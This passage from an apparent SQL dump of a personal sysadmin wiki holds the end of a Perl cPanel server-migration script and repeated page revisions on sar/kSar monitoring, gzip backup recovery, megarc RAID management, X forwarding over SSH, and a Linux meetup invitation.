/old/etc/*named* /old/etc/wwwacct.conf /old/etc/cpupdate.conf /old/etc/quota.conf /old/etc/shadow* /old/etc/*rndc* /old/etc/ips* /old/etc/ipaddrpool* /old/etc/ssl /old/etc/hosts /etc\");\n\n# Now that we\'re done, let\'s start those services we stopped\nforeach (@services) {\n print(\"Starting $_....\\n\\n\");\n system(\"/etc/init.d/$_ start\");\n}\n\n# Time for some cPanel magic\nprint(\"Running /scripts/upcp --force\\n\");\nsystem(\"/scripts/upcp --force\");\nprint(\"Running /scripts/sysup\\n\");\nsystem(\"/scripts/sysup\");\nprint(\"Running /scripts/fixeverything\\n\");\nsystem(\"/scripts/fixeverything\");\nprint(\"Running /scripts/exim4\\n\");\nsystem(\"/scripts/exim4\");\nprint(\"Running /scripts/securetmp\\n\");\nsystem(\"/scripts/securetmp\");\n\n# Now let\'s let cPanel restart everything again\nforeach (@services) {\n print(\"Restarting $_....\\n\\n\");\n system(\"/scripts/restartsrv $_\");\n}\n\n# Unmount the filesystems and let the user know about it.\nforeach $key (reverse sort keys %devicesandlabels) { \n system (\"/bin/umount /old$key\\n\"); \n print \"Unounted $devicesandlabels{$key} from /old$key\\n\";\n}\n\n# Remove the mount point\nprint \"Removing mount point /old\\n\\n\";\nsystem(\"/bin/rmdir /old\");\n\n# Annoy the user\nprint(\"\\n\\n\\n*******************************************************\\n\");\nprint(\"YOU MAY NOW DISCONNECT THE OLD DRIVE\\n\");\nprint(\"PLEASE MAKE SURE TO VERIFY THE MIGRATION WORKED =]\\n\");\nprint(\"*******************************************************\\n\");\n\n\n\n','utf-8'),(22,'__TOC__\n\n== Installing and Configuring sar ==\n\n\nsar and iostat and part of the sysstat package. I believe it is installed by default in CentOS 5.\n\nInstall sar: yum install sysstat\n\nScripts are in /etc/cron.d\n\nAnd also edit [/etc/sysconfig]# cat sysstat\n\n # How long to keep log files (days), maximum is a month, default is 7\n HISTORY=15\n\n\n----\n\n\nBasic use from shell: sar -A 1\n\nsar -n DEV #gives network device stats\n\nsar -n EDEV #gives network device errors\n\n\n\nTo read data from the log use:\n\nsar -f /var/log/sa/sa08 (where 08 is day number to view)\n\n(this same command can be executed from ksar remotely.)\n\n\nNote: sar can also be used to monitor processes, but can\'t log the results by default, however I think you could pipe it to a log manually. \n\n\nSome additional sites on sar\n\nhttp://www.linux.com/articles/114224\n\nhttp://sourceforge.net/project/showfiles.php?group_id=179805\n\n== kSar ==\n\n\nThere is also a java GUI front end for it - kSar you can get at:\n\nwget http://sourceforge.net/project/showfiles.php?group_id=179805&package_id=207768\n\nThis is a pretty killer app - you can poll all the data sar has logged, view it in very pretty graphs and also export it (only the sections you want) as a .pdf file.\n\nThe development site for kSar is: http://ksar.atomique.net/\n\nTo run the Java client: java -jar kSar-4.0.7.jar\n\nTo connect to a remote host select \"launch SSH command\" from the data menu. Connect as: root@ipaddress It seems it is not possible to connect to a port other than 22, however this should be remedied in the future per the developer. \n\nOnce connected via ssh, select \"launch ssh command\" again using:\n\nssh command to run: sar -A -f /var/log/sysstat/sa15 (where 15 is the day number to view)\n\n[[image:kSar.jpg|center|frame]]','utf-8'),(23,'','utf-8'),(24,'== Repairing corrupted Cpanel Backups / .tar.gz files Huzzah! ==\n\nIntro:\n\nSo you are trying to restore a Cpanel backup and it doesn’t work. Imagine that – what are the odds that would ever happen!?\n\nIf in Cpanel it may or may not saying anything usefull– you might see the “unexpected end of file” reported, or it might just fail. (Goram Cpanel $%^$@#!)\n\nIf you try to gunzip it from the shell you receive “unexpected end of file”\n\nThis most likely happens because of:\n\nA) The backup is just corrupted\n\nB) It was FTP’ed using ASCII, not binary mode (our FTP servers default to binary)\n \nC) The archive was truncated when being transferred to the storage server because there was not enough room.\n\nSince Cpanel does not verify if there is enough free space on the FTP destination it seems to just throw the back up out there\n\nand hope for the best. Of course the guys back ups are mostly useless and they never know it but hey – it’s not a perfect world. \n\nHowever as Galadriel said “Hope is not yet lost. Even the smallest of utilities can change the course of things.”\n\n[[Image:Galadriel.jpg|frame|center|Good on ya\']]\n\nEnter herewith the most wondrous gz repair tool\n\n== GZ REPAIR TOOL ==\n\n\nThe website is:\n\nhttp://www.urbanophile.com/arenn/hacking/gzrt/gzrt.html\n\n \nInstallation:\n\nIn CentOS 4.5 this is way easy:\n\n wget ftp://ftp.urbanophile.com/pub/arenn/software/sources/gzrt-0.5.tar.gz\n\nuzip and untar it, CD to the unpacked gzrt-0.5 directory and compile with: #make\n\n(If it does not compile you most likely don’t have zlib – see below)\n\nVerify compilation was successful, you should now see the gzrecover script.\n\n #cp gzrecover /bin\n\n(Just so it’s available in the path in the future)\n\n(Note: Ironically it seems rather finicky in Ubuntu. I had to build zlib and it still couldn’t find it when making gz repair tool. Hummm . . . a puzzle . . . )\n \n\n\n== Getting zlib and cpio ==\n\nVerify if you have it using locate zlib or a yum info zlib\n\nIf you need to install it:\n\n #yum install zlib\n\nIf for some reason you need to build it, you can get it from:\n\n wget http://www.zlib.net/zlib-1.2.3.tar.gz\n\n(Building is easy: gunzip, untar, ./configure make make install )\n\nThe web site is: http://www.zlib.net/\n\n #cpio -?\n\nWill show if you have it, if not yum install cpio\n\n\n== Usage ==\n\n(From the website above)\n\nRun gzrecover on a corrupted .gz file. Anything that can be read from the file will be written to a file with the same name, but with a .recovered appended (any .gz is stripped). You can override this with the -o option. To get a verbose readout of exactly where gzrecover is finding bad bytes, use the -v option to enable verbose mode. This will probably overflow your screen with text so best to redirect output to a file. Once gzrecover has finished, you will need to manually verify any data recovered as it is quite likely that our output file is corrupt and has some garbage data in it. If your archive is a tarball, read on.\n\nFor tarballs, the tar program will choke because GNU tar cannot handle errors in the file format. Fortunately, GNU cpio (tested at version 2.5 or higher) handles corrupted files out of the box.\n\nHere\'s an example:\n\n $ ls *.gz\n my-corrupted-backup.tar.gz\n $ gzrecover my-corrupted-backup.tar.gz\n $ ls *.recovered\n my-corrupted-backup.tar.recovered\n $ cpio -F my-corrupted-backup.tar.recovered -i -v\n\nIf you have a previous release, please note that the patches to GNU tar have been discontinued. They were only marginally successful at best and GNU cpio does what is needed out of the box and does it far better.\n\n== Data Recovery ==\n\nSince the corrupted sections are omitted some data loss is bound to occur when recovering. However, you can get what you can get.\n\nIf the customer is only missing trying to recover certain things – config files, the MySQL data, etc. you very well could luck out.\n\nAs a last resort only you can try a dirty approach and just rsync the recovered data into his existing account – leave what he has and integrate what was recovered, hoping what was not recovered and was corrupted is still in his account. (I recently saved a guys 7GB site doing this, but it was not without its elements of luck.)\n\nRemember – this is advanced technical support, so please charge if appropriate.','utf-8'),(25,'','utf-8'),(26,'== Dell RAID Management Tool - megarc ==\n\n\nThere is a cool tool that gives a lot of information and management capabilities for the hardware RAID controllers on our Dells. The utility is called MegaRC, you can get it from: \n\nhttp://www.lsi.com/storage_home/products_home/internal_raid/megaraid_sata/megaraid_sata_3008x/index.html?remote=1&locale=EN\n\n(Just goto downloads, storage, internal RAID, pick a controller and this utility will be in the downloads of all their controllers.)\n\nI\'ve only tested in on one 1425 with Fedora Core 6, should be fine with CentOS.\n\nDocumentation is included in the *.txt file. \n\nTo install:\n\n0) wget http://www.lsi.com/files/support/rsa/utilities/megaconf/ut_linux_megarc_1.11.zip \n\n1) Unzip the file ut_linux_megarc_1.11.zip\n\n2) chmod to 744 both megarc megarc.bin\n\nTo use:\n\nJust run the script megarc to run the utility.\n\n\n== Dell Alternative ==\n\nChris Davis noted there is also a Dell a megaraid utility available for the LSI controller based systems, information is at:\n\nhttp://linux.dell.com/storage.shtml#megaraid_scsi\n\nLook under Megaraid SCIS, management utility\n\nThere\'s also rpm\'s here;\nhttp://ftp.us.dell.com/scsi-raid/\n\n== Help and options ==\n\n\nmegrc ? will give help - there a lot of options. Read carefuly - yes, you can easily destroy the RAID config by using this utility. \n\nMegarc cmd ?\nIf the option is valid, gives the complete help regarding that particular option.\n\nExample:\n\n./megarc -ctlrInfo ?\n\n\nFor summary data on the configured RAID:\n\n[root@somehost]# ./megarc -ldInfo -a0 -L0\n\n\n **********************************************************************\n MEGARC MegaRAID Configuration Utility(LINUX)-1.11(12-07-2004)\n By LSI Logic Corp.,USA\n **********************************************************************\n [Note: For SATA-2, 4 and 6 channel controllers, please specify\n Ch=0 Id=0..15 for specifying physical drive(Ch=channel, Id=Target)]\n\n Type ? as command line arg for help\n\n\n Finding Devices On Each MegaRAID Adapter...\n Scanning Ha 0, Chnl 0 Target 15\n\n *******Information Of Logical Drive 0*******\n\n Logical Drive : 0( Adapter: 0 ): Status: OPTIMAL\n ---------------------------------------------------\n SpanDepth :01 RaidLevel: 1 RdAhead : Adaptive Cache: CachedIo\n StripSz :064KB Stripes : 2 WrPolicy: WriteBack\n\n Logical Drive 0 : SpanLevel_0 Disks\n Chnl Target StartBlock Blocks Physical Target Status\n ---- ------ ---------- ------ ----------------------\n 0 00 0x00000000 0x1113e000 ONLINE\n 0 01 0x00000000 0x1113e000 ONLINE\n
\n\n\nChecking for a failed drive:\n\n[root@somehost]# ./megarc -pdFailInfo -a0 -ch0 -id0\n\n\n\n **********************************************************************\n MEGARC MegaRAID Configuration Utility(LINUX)-1.11(12-07-2004)\n By LSI Logic Corp.,USA\n **********************************************************************\n [Note: For SATA-2, 4 and 6 channel controllers, please specify\n Ch=0 Id=0..15 for specifying physical drive(Ch=channel, Id=Target)]\n\n Type ? as command line arg for help\n\n\n Finding Devices On Each MegaRAID Adapter...\n Scanning Ha 0, Chnl 0 Target 15\n\n Adp(0): Chnl(0) Id(0) not in FAILED state\n
','utf-8'),(27,'__TOC__\n\n== Installing and Configuring sar ==\n\n\nsar and iostat and part of the sysstat package. I believe it is installed by default in CentOS 5.\n\nInstall sar: yum install sysstat\n\nScripts are in /etc/cron.d\n\nAnd also edit [/etc/sysconfig]# cat sysstat\n\n # How long to keep log files (days), maximum is a month, default is 7\n HISTORY=15\n\n\n----\n\n\nBasic use from shell: sar -A 1\n\nsar -n DEV #gives network device stats\n\nsar -n EDEV #gives network device errors\n\n\n\nTo read data from the log use:\n\nsar -f /var/log/sa/sa08 (where 08 is day number to view)\n\n(this same command can be executed from ksar remotely.)\n\n\nNote: sar can also be used to monitor processes, but can\'t log the results by default, however I think you could pipe it to a log manually. \n\n\nSome additional sites on sar\n\nhttp://www.linux.com/articles/114224\n\nhttp://sourceforge.net/project/showfiles.php?group_id=179805\n\n== kSar ==\n\n\nThere is also a java GUI front end for it - kSar you can get at:\n\nwget http://sourceforge.net/project/showfiles.php?group_id=179805&package_id=207768\n\nNew beta version 4.0.9:\n\nwebstart : http://ksar.atomique.net/Dev/kSar.jnlp\n\njar : http://ksar.atomique.net/Dev/kSar-4.0.9.jar\n\n\nThis is a pretty killer app - you can poll all the data sar has logged, view it in very pretty graphs and also export it (only the sections you want) as a .pdf file.\n\nThe development site for kSar is: http://ksar.atomique.net/\n\nTo run the Java client: java -jar kSar-4.0.7.jar\n\nTo connect to a remote host select \"launch SSH command\" from the data menu. Connect as: root@ipaddress It seems it is not possible to connect to a port other than 22, however this should be remedied in the future per the developer. \n\nOnce connected via ssh, select \"launch ssh command\" again using:\n\nssh command to run: sar -A -f /var/log/sysstat/sa15 (where 15 is the day number to view)\n\n[[image:kSar.jpg|center|frame]]','utf-8'),(28,'\'\'\'Welcome to The Lyceum.\'\'\'\n\nThis is a Wiki I\'ve put together essentially as an on-line notebook, to allow me a central repository of notes accumulated in work, through research and to save myself the headache of trying to find the post-a-note, bit of scrap papper or other useless medium I may have written something down on. And I can conveniently access it too, so bonus.\n\nI\'ll be adding and copying information here, focused primarily on IT related fields - Linux, Solaris, Cisco Networking, etc. and likely branching it off into other more esoteric areas as well.\n\nIf you have stumbled upon it - welcome.\n\nCheers,\n\nThe Doctor\n\n\nAn index of all pages is at [[Special:AllPages]]\n\n\n\n\nConsult the [http://meta.wikimedia.org/wiki/Help:Contents User\'s Guide] for information on using the wiki software.\n\n== Getting started ==\n\n* [http://www.mediawiki.org/wiki/Help:Configuration_settings Configuration settings list]\n* [http://www.mediawiki.org/wiki/Help:FAQ MediaWiki FAQ]\n* [http://mail.wikimedia.org/mailman/listinfo/mediawiki-announce MediaWiki release mailing list]','utf-8'),(29,'\n\n\n== Cygwin ==\n\n\'\'\'Remote Sessions via XDMCP\'\'\'\n\nCygwin/X can be used login to one or several remote sessions using XDMCP (X Display Manager Control Protocol).\n\nStart Cygwin/X with a command similar to the following to login to a single remote session using XDMCP:\n\nXWin.exe -query remote_hostname_or_ip_address \n\nYou may login to several remote sesstions with a single or multiple hosts using XDMCP. Each session will need a seperate display number, specified by the :display_number parameter, such as :0. A display number is not the same as a screen number, as a single display can have multiple screens associated with it. Each display listens on a different network port number, so each display can connect to multiple machines. Start Cygwin/X with command lines similar to the following to login to several remote sessions using XDMCP:\n\nXWin.exe :0 -query remote_hostname_or_ip_address_0 \n\nXWin.exe :1 -query remote_hostname_or_ip_address_1 \n\nNote that the :display_number parameter is a general X Server parameter, not specific to Cygwin/X. Further documentation of the :display_number parameter can be found in the X Server manual page. XDMCP is a complex system that is not specific to Cygwin/X; further discussion of XDMCP is beyond the scope of this document. You may wish to read the Linux XDMCP HOWTO or the X Server XDMCP Options for more information.','utf-8'),(30,'\n\n== Cygwin ==\n\n\'\'\'Via Cygwin\'s X Client on Local Machine\'\'\'\n\nhttp://x.cygwin.com/docs/ug/cygwin-x-ug.html\n\nStart Cygin and start the X server with \n\n$ X &\nor \n$ XWin.exe &\n\nOnce the X server is running you can SSH to you server using Cygwin with either\n\n$ ssh -X root@hostname\nor\n$ ssh -Y -l user host\n\n(If you use Putty to ssh with, select Connection --> SSH --> X11 - Enable X11 Forwarding. You should not have to specify a display name - leave it blank)\n\nRun the app you want in the shell and it will forward thru ssh over X and display on the local Windows machine.\n\n$xeyes &\n$katomic $\n$ooffice\n\n\'\'\'Remote Sessions via XDMCP\'\'\' - Remote Desktop \n\nCygwin/X can be used login to one or several remote sessions using XDMCP (X Display Manager Control Protocol).\n\nStart Cygwin/X with a command similar to the following to login to a single remote session using XDMCP:\n\nXWin.exe -query remote_hostname_or_ip_address \n\nYou may login to several remote sesstions with a single or multiple hosts using XDMCP. Each session will need a seperate display number, specified by the :display_number parameter, such as :0. A display number is not the same as a screen number, as a single display can have multiple screens associated with it. Each display listens on a different network port number, so each display can connect to multiple machines. Start Cygwin/X with command lines similar to the following to login to several remote sessions using XDMCP:\n\nXWin.exe :0 -query remote_hostname_or_ip_address_0 \n\nXWin.exe :1 -query remote_hostname_or_ip_address_1 \n\nNote that the :display_number parameter is a general X Server parameter, not specific to Cygwin/X. Further documentation of the :display_number parameter can be found in the X Server manual page. XDMCP is a complex system that is not specific to Cygwin/X; further discussion of XDMCP is beyond the scope of this document. You may wish to read the Linux XDMCP HOWTO or the X Server XDMCP Options for more information.','utf-8'),(31,'\n\n== General SSH / X Tutorial ==\n\nGeneral information and a few different configurations\n\nhttp://www.vanemery.com/Linux/XoverSSH/X-over-SSH2.html\n\n== Cygwin ==\n\n\'\'\'Via Cygwin\'s X Client on Local Machine\'\'\'\n\nhttp://x.cygwin.com/docs/ug/cygwin-x-ug.html\n\nStart Cygin and start the X server with \n\n$ X &\nor \n$ XWin.exe &\n\nOnce the X server is running you can SSH to you server using Cygwin with either\n\n$ ssh -X root@hostname\nor\n$ ssh -Y -l user host\n\n(If you use Putty to ssh with, select Connection --> SSH --> X11 - Enable X11 Forwarding. You should not have to specify a display name - leave it blank)\n\nRun the app you want in the shell and it will forward thru ssh over X and display on the local Windows machine.\n\n$xeyes &\n$katomic $\n$ooffice\n\n\'\'\'Remote Sessions via XDMCP\'\'\' - Remote Desktop \n\nCygwin/X can be used login to one or several remote sessions using XDMCP (X Display Manager Control Protocol).\n\nStart Cygwin/X with a command similar to the following to login to a single remote session using XDMCP:\n\nXWin.exe -query remote_hostname_or_ip_address \n\nYou may login to several remote sesstions with a single or multiple hosts using XDMCP. Each session will need a seperate display number, specified by the :display_number parameter, such as :0. A display number is not the same as a screen number, as a single display can have multiple screens associated with it. Each display listens on a different network port number, so each display can connect to multiple machines. Start Cygwin/X with command lines similar to the following to login to several remote sessions using XDMCP:\n\nXWin.exe :0 -query remote_hostname_or_ip_address_0 \n\nXWin.exe :1 -query remote_hostname_or_ip_address_1 \n\nNote that the :display_number parameter is a general X Server parameter, not specific to Cygwin/X. Further documentation of the :display_number parameter can be found in the X Server manual page. XDMCP is a complex system that is not specific to Cygwin/X; further discussion of XDMCP is beyond the scope of this document. You may wish to read the Linux XDMCP HOWTO or the X Server XDMCP Options for more information.','utf-8'),(32,'__FORCETOC__\n\n\n== First Linux Night ==\n\n\n:Exact night to be announced - likely the second or third Sat or Sun in Sept. If you are coming post your name below under Who\'s Coming and what evenings (Sat / Sun) would work for you. Thus we can decide the evening to best fit everyone\'s schedule. It will run about 7pm - 10pm.\n\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who: Sat 8 Sept. / Sun 9 Sept Sat 15 Sept. / Sun 16 Sept \n \n Pete Yes Yes Yes Yes\n (I\'ll provide some soda and beer)','utf-8'),(33,'','utf-8'),(34,'__FORCETOC__\n[[image:hiking_tux_200.jpeg|right|frame|To the party!]]\n\n\n== First Linux Night ==\n\n\n\n:Exact night to be announced - likely the second or third Sat or Sun in Sept. If you are coming post your name below under Who\'s Coming and what evenings (Sat / Sun) would work for you. Thus we can decide the evening to best fit everyone\'s schedule. It will run about 7pm - 10pm.\n\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who: Sat 8 Sept. / Sun 9 Sept Sat 15 Sept. / Sun 16 Sept \n \n Pete Yes Yes Yes Yes\n (I\'ll provide some soda and beer)','utf-8'),(35,'Hey Guys,\n\nFeel free to leave comments or discussion here. . . \n\nCheers,\nPete','utf-8'),(36,'__FORCETOC__\n[[image:hiking_tux_200.jpeg|right|frame|To the party!]]\n\n\n== First Linux Night ==\n\n\n\n:Exact night to be announced - likely the second or third Sat or Sun in Sept. If you are coming post your name below under Who\'s Coming and what evenings (Sat / Sun) would work for you. Thus we can decide the evening to best fit everyone\'s schedule. It will run about 7pm - 10pm.\n\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who: Sat 8 Sept. / Sun 9 Sept Sat 15 Sept. / Sun 16 Sept \n \n Pete Yes Yes Yes Yes\n (I\'ll provide some soda and beer)\n\nCody not 8th or 9th 15th yes / 16th yes\n(i\'ll bring beer and some sort of snacks, will bring my ubuntu box)','utf-8'),(37,'\'\'\'Application Forwarding Through X Windows\n(over an ssh connection)\'\'\'\n\nYou can run applications on a specified server, and have them displayed on your client. Even if that client is a Windows based system, by installing an X server for Windows and using ssh to connect to the server, you can still have that app be displayed on the Windows system, or run the enitre desktop remotely. It is extremely easy to do and opens the door to back-end server driven apps being used cross-platform running at full speed on the server side. \n\n== Xming Windows Xserver==\n\nA great open source X server for Windows, Xming\n\nhttp://www.straightrunning.com/XmingNotes/\n\nhttp://sourceforge.net/projects/xming/\n\n\n== Simple Windows / X server solution ==\n\n1) Install putty\n\n2) Install Xming X server\n\n3) Start Xming (mult window mode usually best)\n\n4) Use putty, with SSH option for X Forwarding enabled, to connect to server\n\n5) Run the X based app you want and it will open on the Windows / X server client\n\n6) To run the entire desktop use: X -query \'\'ipaddress\'\' This will run the target systems entire desktop, forwarded to your client, using XDMCP. You can also use X - broadcast to see what desktops are available. \n\n\n== General SSH / X Tutorial ==\n\nGeneral information and a few different configurations\nfor application and desktop forwarding thru X over SSH.\n\nhttp://www.vanemery.com/Linux/XoverSSH/X-over-SSH2.html\n\n== Cygwin X Server Option==\n\n\'\'\'Via Cygwin\'s X Client on Local Machine\'\'\'\n\nhttp://x.cygwin.com/docs/ug/cygwin-x-ug.html\n\nStart Cygin and start the X server with \n\n$ X &\nor \n$ XWin.exe &\n\nOnce the X server is running you can SSH to you server using Cygwin with either\n\n$ ssh -X root@hostname\nor\n$ ssh -Y -l user host\n\n(If you use Putty to ssh with, select Connection --> SSH --> X11 - Enable X11 Forwarding. You should not have to specify a display name - leave it blank)\n\nRun the app you want in the shell and it will forward thru ssh over X and display on the local Windows machine, for example:\n\n$xeyes &\n$katomic $\n$ooffice &\n
\n\'\'\'Remote Sessions via XDMCP\'\'\' - Remote Desktop \n\nCygwin/X can be used login to one or several remote sessions using XDMCP (X Display Manager Control Protocol).\n\nStart Cygwin/X with a command similar to the following to login to a single remote session using XDMCP:\n\nXWin.exe -query remote_hostname_or_ip_address \n\nYou may login to several remote sesstions with a single or multiple hosts using XDMCP. Each session will need a seperate display number, specified by the :display_number parameter, such as :0. A display number is not the same as a screen number, as a single display can have multiple screens associated with it. Each display listens on a different network port number, so each display can connect to multiple machines. Start Cygwin/X with command lines similar to the following to login to several remote sessions using XDMCP:\n\nXWin.exe :0 -query remote_hostname_or_ip_address_0 \n\nXWin.exe :1 -query remote_hostname_or_ip_address_1 \n\nNote that the :display_number parameter is a general X Server parameter, not specific to Cygwin/X. Further documentation of the :display_number parameter can be found in the X Server manual page. XDMCP is a complex system that is not specific to Cygwin/X; further discussion of XDMCP is beyond the scope of this document. You may wish to read the Linux XDMCP HOWTO or the X Server XDMCP Options for more information.','utf-8'),(38,'\'\'\'Application Forwarding Through X Windows\n(over an ssh connection)\'\'\'\n\nYou can run applications on a specified server, and have them displayed on your client. Even if that client is a Windows based system, by installing an X server for Windows and using ssh to connect to the server, you can still have that app be displayed on the Windows system, or run the enitre desktop remotely. It is extremely easy to do and opens the door to back-end server driven apps being used cross-platform running at full speed on the server side. \n\n== Xming Windows Xserver==\n\nA great open source X server for Windows, Xming\n\nhttp://www.straightrunning.com/XmingNotes/\n\nhttp://sourceforge.net/projects/xming/\n\n\n== Simple Windows / X server solution ==\n\n1) Install putty\n\n2) Install Xming X server\n\n3) Start Xming (mult window mode usually best)\n\n4) Use putty, with SSH option for X Forwarding enabled) to connect to server\n ssh -X user@ipaddress\n\n5) Run the X based app you want and it will open on the Windows / X server client. For example, just run gimp & and it should appear on the Windows client. \n\n6) To run the entire desktop use: X -query \'\'ipaddress\'\' This will run the target systems entire desktop, forwarded to your client, using XDMCP. You can also use X - broadcast to see what desktops are available. \n\nDoesn\'t work? See troubleshooting below. \n\n== Improve Desktop Performance ==\n\nRunning XDMCP is not particularly fast, but is encrypted over ssh. You can use a VNC client, which can be faster, but to really see a gain accelrate the X server and client by using the NXserver and NXclient from http://www.nomachine.com/download.php \n\n\n== General SSH / X Tutorial ==\n\nGeneral information and a few different configurations\nfor application and desktop forwarding thru X over SSH.\n\nhttp://www.vanemery.com/Linux/XoverSSH/X-over-SSH2.html\n\n== Cygwin X Server Option==\n\n\'\'\'Via Cygwin\'s X Client on Local Machine\'\'\'\n\nhttp://x.cygwin.com/docs/ug/cygwin-x-ug.html\n\nStart Cygin and start the X server with \n\n$ X &\nor \n$ XWin.exe &\n\nOnce the X server is running you can SSH to you server using Cygwin with either\n\n$ ssh -X root@hostname\nor\n$ ssh -Y -l user host\n\n(If you use Putty to ssh with, select Connection --> SSH --> X11 - Enable X11 Forwarding. You should not have to specify a display name - leave it blank)\n\nRun the app you want in the shell and it will forward thru ssh over X and display on the local Windows machine, for example:\n\n$xeyes &\n$katomic $\n$ooffice &\n
\n\'\'\'Remote Sessions via XDMCP\'\'\' - Remote Desktop \n\nCygwin/X can be used login to one or several remote sessions using XDMCP (X Display Manager Control Protocol).\n\nStart Cygwin/X with a command similar to the following to login to a single remote session using XDMCP:\n\nXWin.exe -query remote_hostname_or_ip_address \n\n(If you get an error about client denied from \'\'ipaddress\'\'and something about an MIT_MAGIC_COOKIE, see troubleshooting section.)\n\n----\n\n\nYou may login to several remote sesstions with a single or multiple hosts using XDMCP. Each session will need a seperate display number, specified by the :display_number parameter, such as :0. A display number is not the same as a screen number, as a single display can have multiple screens associated with it. Each display listens on a different network port number, so each display can connect to multiple machines. Start Cygwin/X with command lines similar to the following to login to several remote sessions using XDMCP:\n\nXWin.exe :0 -query remote_hostname_or_ip_address_0 \n\nXWin.exe :1 -query remote_hostname_or_ip_address_1 \n\nNote that the :display_number parameter is a general X Server parameter, not specific to Cygwin/X. Further documentation of the :display_number parameter can be found in the X Server manual page. XDMCP is a complex system that is not specific to Cygwin/X; further discussion of \nXDMCP is beyond the scope of this document. You may wish to read the Linux XDMCP HOWTO or the X Server XDMCP Options for more information.\n\n== Troubleshooting ==\n\n*Trying to run an XDMCP desktop remotely and get and Audit message stating:\n\nhttp://www.freedesktop.org/wiki/CygwinXTroubleShooting#head-6a6eba8b76cc333691dc33a73efbd74473ca28eb\n\nCygwin/X reports AUDIT: client 1 rejected from IP \'\'remotehost\'\'\n\nProblem is maybe a wrong DNS (Network name resolution). Make sure your windows host has a hostname which is valid from linux too and an IP address which linux can resolve to that hostname. \n\nIf you add a line \n\n192.168.26.1 myhost \n\nto /etc/hosts on the XDMCP server containing the IP address and the hostname of your windows host the name resolution should work. \n\nAlso, ensure that kdmrc has xdmcp set to true - there is a whole section under [Xdmcp}\n\n*X applications or desktop not being forwarded over ssh?\n\nEnsure X11Forwarding is enabled in sshd_config on the server - restart sshd service','utf-8'),(39,'\'\'\'Application Forwarding Through X Windows\n(over an ssh connection)\'\'\'\n\nYou can run applications on a specified server, and have them displayed on your client. Even if that client is a Windows based system, by installing an X server for Windows and using ssh to connect to the server, you can still have that app be displayed on the Windows system, or run the enitre desktop remotely. It is extremely easy to do and opens the door to back-end server driven apps being used cross-platform running at full speed on the server side. \n\n== Xming Windows Xserver==\n\nA great open source X server for Windows, 